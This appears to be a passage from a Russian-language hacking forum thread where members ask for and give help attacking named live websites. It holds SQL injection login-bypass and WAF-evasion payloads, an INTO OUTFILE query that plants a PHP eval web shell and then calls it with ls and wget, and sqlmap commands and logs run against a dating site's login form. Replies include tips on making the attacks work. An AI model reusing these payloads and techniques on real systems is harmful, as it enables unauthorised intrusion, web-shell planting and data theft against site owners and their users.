Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by +, 27 Apr 2015.

  1. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Нет, это сработает, если помимо авторизации админка взаимодействует с таблицей пользователей по минимуму. Пример запроса:
    Code:
    SELECT id, login, pass, priv FROM user WEHRE name = '*'
    
    login = ' UNION SELECT 1, 'admin', md5('1234'), 1 #
    pass = 1234
    
    Проблема выше (Muracha'а) решается простым выводом данных.
     
    grimnir likes this.
  2. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Начнём с того, что у root есть права на запись и полный путь.
    Фильтр стоял на операторе select, но я его обошёл. Выполняю запрос:
    Code:
    ttp://www.angloeasterngroup.com/careers/index.php?parentId=3&careerId=3%27+union+/*!select*/+1,2,3,4,%27%3C?php%20eval%28$_REQUEST[cmd]%29;%20?%3E%27,6,7,8,9,10+from+mysql.user+into+outfile+%27C:\xampp\htdocs\cms\shell.php%27+--+ - сброс соеденяния
    http://www.angloeasterngroup.com/shell.php?cmd=ls;wget... 
    ==============================================================

    SQL
    После кавычки всё слешируется
    Code:
    http://gordonua.com/search.html?s[text]='
     
    #262 Unknowhacker, 28 Jun 2015
    Last edited: 28 Jun 2015
  3. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Unknowhacker,
    1. Сброс соединения свидетельствует о том, что вы опять нарвались на WAF. Попробуйте обойти.
      Для правильной передачи строки экранируйте содержимое:
      'C:\xampp\htdocs\cms\shell.php' => 'C:\\xampp\\htdocs\\cms\\shell.php'

      Посылаете ls и wget в eval? Серьезно?

      Не забудьте убедиться, что ваши пути - искомые, даже если вы их получили с помощью раскрытия путей.
      По умолчанию в XAMPP пусть C:\xampp\htdocs\, а не C:\xampp\htdocs\cms\.

    2. https://forum.antichat.net/threads/424557/page-13#post-3861933
     
    #263 randman, 28 Jun 2015
    Last edited: 28 Jun 2015
  4. Xsite

    Xsite Member

    Joined:
    21 Jan 2010
    Messages:
    53
    Likes Received:
    5
    Reputations:
    0
    Ребят подскажите пожалуйста
    нашел скулю ,не могу раскрутить мепом

    Code:
    POST /account/doLogin HTTP/1.1
    Cache-Control: no-cache
    User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.170 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Origin: http://chatgirl.nl
    Referer: http://chatgirl.nl/account/
    Accept-Language: en-us,en;q=0.5
    Host: chatgirl.nl
    Cookie: __cfduid=d90bad96b9df60b454800378893a111ae1435509309; saved_gender_id=11; saved_interest_id=11; saved_region_id=city_611225; saved_nickname=NSFTW
    Accept-Encoding: gzip, deflate
    Content-Length: 442
    Content-Type: application/x-www-form-urlencoded
    
    nickname=&gender_id=-1+or+1%3d1+and+(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)&region_id=city_2466&cv=Geef+hier+een+omschrijving+van+jezelf.&coupon%5B%5D=&username=&password=&screen_resolution=800x400&os=Windows&screen_size=medium
    
    При команде
    sqlmap -u "http://chatgirl.nl/account/doLogin" --data="nickname=&gender_id=1*&region_id=city_2466&cv=Geef+hier+een+omschrijving+van+jezelf.&coupon%5B%5
    D=&username=&password=&screen_resolution=800x400&os=Windows&screen_size=medium" --random-agent --level 5 --technique=EU --dbms=MySQL

    Меп редиректит на другую страницу


    Code:
    [19:48:08] [INFO] fetched random HTTP User-Agent header from file 'D:\Pentest\Sql_inj\PentestBox\bin\WebApplications\sqlmap\txt\user-agents.txt': 'Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8'
    custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q]
    [19:48:14] [INFO] testing connection to the target URL
    sqlmap got a 302 redirect to 'http://chatgirl.nl/welcome/chat_closed'. Do you want to follow? [Y/n] n
    [19:48:18] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
    [19:48:19] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
    [19:48:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
    [19:48:31] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
    [19:48:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
    [19:48:55] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
    [19:49:06] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
    [19:49:19] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
    [19:49:30] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
    [19:49:30] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
    [19:49:30] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
    [19:49:30] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
    [19:49:32] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause'
    [19:49:32] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)'
    [19:49:32] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)'
    [19:49:33] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)'
    [19:49:33] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause'
    [19:49:34] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
    [19:51:59] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
    [19:54:21] [INFO] testing 'Generic UNION query (NULL) - 11 to 20 columns'
    [19:56:29] [INFO] testing 'Generic UNION query (random number) - 11 to 20 columns'
    [19:58:33] [INFO] testing 'Generic UNION query (NULL) - 21 to 30 columns'
    [20:00:50] [INFO] testing 'Generic UNION query (random number) - 21 to 30 columns'
    [20:03:04] [INFO] testing 'Generic UNION query (NULL) - 31 to 40 columns'
    [20:04:54] [INFO] heuristics detected web page charset 'ascii'
    [20:04:54] [WARNING] reflective value(s) found and filtering out
    [20:04:54] [INFO] target URL appears to be UNION injectable with 40 columns
    injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
    [20:08:10] [INFO] testing 'Generic UNION query (20) - 41 to 50 columns'
    [20:17:02] [INFO] testing 'MySQL UNION query (20) - 1 to 10 columns'
    [20:23:11] [INFO] testing 'MySQL UNION query (20) - 11 to 20 columns'
    [20:25:14] [INFO] testing 'MySQL UNION query (20) - 21 to 30 columns'
    [20:27:10] [INFO] testing 'MySQL UNION query (20) - 31 to 40 columns'
    [20:29:03] [INFO] testing 'MySQL UNION query (20) - 41 to 50 columns'
    [20:31:04] [WARNING] (custom) POST parameter '#1*' is not injectable
    
    хотя скуля есть http://hkar.ru/C3YA

    В чем может быть проблема ?
     
    #264 Xsite, 28 Jun 2015
    Last edited by a moderator: 2 Jul 2015
  5. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Ты забыл указать параметр для проверки
    например -p "gender_id"

    ставишь значения --data="пост данные" -p "gender_id"
     
  6. Xsite

    Xsite Member

    Joined:
    21 Jan 2010
    Messages:
    53
    Likes Received:
    5
    Reputations:
    0
    Параметр на который идет "атака" ,указан * ,тобишь можно без -p

    Добавил ,--risk 3
    Code:
    [20:52:46] [INFO] fetched random HTTP User-Agent header from file 'D:\Pentest\Sql_inj\PentestBox\bin\WebApplications\sqlmap\txt\user-agents.txt': 'Mozilla/5.0 (X11; U; SunOS i86pc; fr; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4'
    custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q]
    [20:52:47] [INFO] testing connection to the target URL
    [20:52:53] [INFO] heuristics detected web page charset 'ascii'
    [20:52:53] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'MySQL')
    [20:52:54] [INFO] heuristic (XSS) test shows that (custom) POST parameter '#1*' might be vulnerable to XSS attacks
    [20:52:54] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
    [20:52:54] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
    [20:52:55] [WARNING] reflective value(s) found and filtering out
    [20:53:01] [INFO] (custom) POST parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
    [20:53:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
    [20:53:01] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
    [20:53:30] [INFO] target URL appears to be UNION injectable with 1 columns
    [20:53:34] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
    [20:54:02] [INFO] testing 'Generic UNION query (NULL) - 22 to 40 columns'
    [20:54:23] [INFO] testing 'Generic UNION query (random number) - 22 to 40 columns'
    [20:54:44] [INFO] testing 'Generic UNION query (NULL) - 42 to 60 columns'
    [20:55:03] [INFO] testing 'Generic UNION query (random number) - 42 to 60 columns'
    [20:55:23] [INFO] testing 'Generic UNION query (NULL) - 62 to 80 columns'
    [20:55:42] [INFO] testing 'Generic UNION query (random number) - 62 to 80 columns'
    sqlmap got a 302 redirect to 'http://chatgirl.nl/welcome/chat_closed'. Do you want to follow? [Y/n] n
    [20:56:08] [INFO] testing 'Generic UNION query (NULL) - 82 to 100 columns'
    [20:56:15] [INFO] testing 'Generic UNION query (random number) - 82 to 100 columns'
    [20:56:20] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
    [20:56:25] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
    [20:56:33] [INFO] testing 'MySQL UNION query (NULL) - 22 to 40 columns'
    [20:56:38] [INFO] testing 'MySQL UNION query (random number) - 22 to 40 columns'
    [20:56:43] [INFO] testing 'MySQL UNION query (NULL) - 42 to 60 columns'
    [20:56:48] [INFO] testing 'MySQL UNION query (random number) - 42 to 60 columns'
    [20:56:53] [INFO] testing 'MySQL UNION query (NULL) - 62 to 80 columns'
    [20:56:58] [INFO] testing 'MySQL UNION query (random number) - 62 to 80 columns'
    [20:57:03] [INFO] testing 'MySQL UNION query (NULL) - 82 to 100 columns'
    [20:57:08] [INFO] testing 'MySQL UNION query (random number) - 82 to 100 columns'
    (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
    sqlmap identified the following injection points with a total of 400 HTTP(s) requests:
    ---
    Parameter: #1* ((custom) POST)
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
        Payload: nickname=&gender_id=1 AND (SELECT 9140 FROM(SELECT COUNT(*),CONCAT(0x71707a7071,(SELECT (ELT(9140=9140,1))),0x71767a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&region_id=city_2466&cv=Geef hier een omschrijving van jezelf.&coupon[]=&username=&password=&screen_resolution=800x400&os=Windows&screen_size=medium
    ---
    [20:57:16] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL 5.0
    Опять же идет редирект ,такое ощущение что все из-за него
    Code:
    http://chatgirl.nl/welcome/chat_closed'. Do you want to follow? [Y/n] n
    $ sqlmap -u "http://chatgirl.nl/account/doLogin" --data="nickname=&gender_id=1*&region_id=city_2466&cv=Geef+hier+een+omschrijving+van+jezelf.&coupon%5B%5
    D=&username=&password=&screen_resolution=800x400&os=Windows&screen_size=medium" --random-agent --level 5 --technique=EU --dbms=MySQL --risk 3 --dbs
             _
    ___ ___| |_____ ___ ___  {1.0-dev-341d2a6}
    |_ -| . | |     | .'| . |
    |___|_  |_|_|_|_|__,|  _|
          |_|           |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting at 20:57:19
    
    [20:57:19] [INFO] fetched random HTTP User-Agent header from file 'D:\Pentest\Sql_inj\PentestBox\bin\WebApplications\sqlmap\txt\user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5'
    custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q]
    [20:57:20] [INFO] testing connection to the target URL
    sqlmap got a 302 redirect to 'http://chatgirl.nl/welcome/chat_closed'. Do you want to follow? [Y/n] n
    sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
    ---
    Parameter: #1* ((custom) POST)
        Type: error-based
        Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
        Payload: nickname=&gender_id=1 AND (SELECT 9140 FROM(SELECT COUNT(*),CONCAT(0x71707a7071,(SELECT (ELT(9140=9140,1))),0x71767a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&region_id=city_2466&cv=Geef hier een omschrijving van jezelf.&coupon[]=&username=&password=&screen_resolution=800x400&os=Windows&screen_size=medium
    ---
    [20:57:22] [INFO] testing MySQL
    [20:57:23] [WARNING] the back-end DBMS is not MySQL
    [20:57:23] [CRITICAL] sqlmap was not able to fingerprint the back-end database management system. Support for this DBMS will be implemented at some point <<<<<<
    Первый раз столкнулся с такой траблой
     
    #266 Xsite, 28 Jun 2015
    Last edited by a moderator: 2 Jul 2015
  7. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Редирект там может быть по многим причинам, может из-за ошибки, может из-за того что не авторизован, просто когда выдаст редирект, попробуй сделать отказ от переадрисаций
     
  8. Xsite

    Xsite Member

    Joined:
    21 Jan 2010
    Messages:
    53
    Likes Received:
    5
    Reputations:
    0
    так я и отказываюсь ,просто не понимаю бред какой то

    http://chatgirl.nl/account/doLogin скуля тут в посте
    http://chatgirl.nl/welcome/chat_closed редирект идет суда
    как закрывает доступ напрочь к http://chatgirl.nl/account/doLogin

    + удалил папку в оутпут , поставил снова раскручивать ,теперь пишет
    the web server responded with an HTTP error code (503) which could interfere with the results of the tests
    и не раскручивает :D
     
    #268 Xsite, 28 Jun 2015
    Last edited: 28 Jun 2015
  9. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Да муторно sqlmap не тащит, ему нужны кукисы от авторизованного браузера, которые он быстро теряет
    хз как, но после 5 минут тыкания он перестал редеректить, после этого перенёс кукисы из браузера в sqlmap, тогда стало нормально, но потом опять та же процедура.
    нормально можно обработать в ручную, Firefox -> tamper data
     
  10. Br@!ns

    Br@!ns Elder - Старейшина

    Joined:
    3 Sep 2010
    Messages:
    916
    Likes Received:
    120
    Reputations:
    25
  11. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
  12. reuvenmatbil

    reuvenmatbil New Member

    Joined:
    1 Sep 2012
    Messages:
    28
    Likes Received:
    4
    Reputations:
    0
    В админке есть возможность редактировать html
    не могу найти html загрузчик
    кто может подсказать код?
     
  13. frank

    frank Member

    Joined:
    8 May 2015
    Messages:
    200
    Likes Received:
    96
    Reputations:
    28
    Я может не так понял конечно, вы это имели ввиду?
    Code:
    http://htmlbook.ru/samhtml5/formy/zagruzka-failov
     
    reuvenmatbil likes this.
  14. reuvenmatbil

    reuvenmatbil New Member

    Joined:
    1 Sep 2012
    Messages:
    28
    Likes Received:
    4
    Reputations:
    0
    да, он, но файл не хочет загружаться
     
  15. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    367
    Likes Received:
    164
    Reputations:
    126
    Ты никак не загрузишь файл через html.
     
    _________________________
  16. reuvenmatbil

    reuvenmatbil New Member

    Joined:
    1 Sep 2012
    Messages:
    28
    Likes Received:
    4
    Reputations:
    0
  17. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
  18. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Инъекция в ORDER BY, Error-based;
    Code:
    DESC,error-based
    DESC, updatexml(1, concat(0x3A, version()), 1)
    
    reuvenmatbil, Никак нельзя. Ваш вопрос, более того, некорректен.
     
    DezMond™ likes this.
  19. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    За это конечно спасибо. Вариантов, как обычно, несколько.
    Code:
    index.php?id=9528&catId=177 UNION /*I j n t e h h n f d j i e  v o m i r v e r a e l l e r i r e c t  a t z u n d o p t i k n n e n*/ SELECT UNHEX /*I j n t e h h n f d j i e  v o m i r v e r a e l l e r i r e c t  a t z u n d o p t i k n n e n*/('3629554E494F4E2053454C45435420312C322C332C342C352C362C372C382C392C302C312C76657273696F6E28292C332C342C352C362C372C382C392C302C312C342C332C342C352C362C372C382C392C302C312C352C332C342C352C362C372C382C392C302C312C362C332C342C352C362C372C382C392C302C312C372C332C342C352C362C372C382C3923')&origin=search&no_cache=1
    index.php?id=9528&catId=177 UNION /*I j n t e h h n f d j i e  v o m i r v e r a e l l e r i r e c t  a t z u n d o p t i k n n e n*/ SELECT x'3629554E494F4E2053454C45435420312C322C332C342C352C362C372C382C392C302C312C76657273696F6E28292C332C342C352C362C372C382C392C302C312C342C332C342C352C362C372C382C392C302C312C352C332C342C352C362C372C382C392C302C312C362C332C342C352C362C372C382C392C302C312C372C332C342C352C362C372C382C3923'&origin=search&no_cache=1
    index.php?id=9528&catId=177.0UNION/**/SELECT x'3629554E494F4E2053454C45435420312C322C332C342C352C362C372C382C392C302C312C76657273696F6E28292C332C342C352C362C372C382C392C302C312C342C332C342C352C362C372C382C392C302C312C352C332C342C352C362C372C382C392C302C312C362C332C342C352C362C372C382C392C302C312C372C332C342C352C362C372C382C3923'&origin=search&no_cache=1
    
    MySQL 5.5.27.
     
    #279 randman, 2 Jul 2015
    Last edited: 2 Jul 2015
    Br@!ns and compod like this.
  20. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    А где вы SQL Injection обнаружили? Вроде чисто.